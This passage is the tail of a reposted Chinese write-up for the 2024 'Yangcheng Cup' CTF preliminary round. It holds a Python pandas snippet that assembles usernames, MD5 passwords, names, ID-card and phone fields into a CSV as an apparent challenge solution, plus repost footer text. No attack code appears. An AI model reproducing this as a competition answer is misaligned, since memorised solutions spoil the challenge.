df = pd.DataFrame({'username': list(map(generate_name, name_set.keys())),                   'password': list(map(generate_md5, passwd_set_new.values())),                   'name': list(map(generate_name, name_set.values())),                   'idcard': list(map(generate_idcard, idcard_set.values())),                   'phone': list(map(generate_phone, phone_set.values()))})print(df)df.to_csv('result.csv', sep = ',' , index=False)

2024年“羊城杯”粤港澳大湾区网络安全大赛初赛—WriteUp By EDI

EDI安全

2024年“羊城杯”粤港澳大湾区网络安全大赛初赛—WriteUp By EDI

扫二维码|关注我们

一个专注渗透实战经验分享的公众号

 

原文始发于微信公众号(EDI安全):2024年“羊城杯”粤港澳大湾区网络安全大赛初赛—WriteUp By EDI

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月29日16:50:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2024年“羊城杯”粤港澳大湾区网络安全大赛初赛—WriteUp By EDIhttp://cn-sec.com/archives/3108827.html

发表评论

匿名网友 填写信息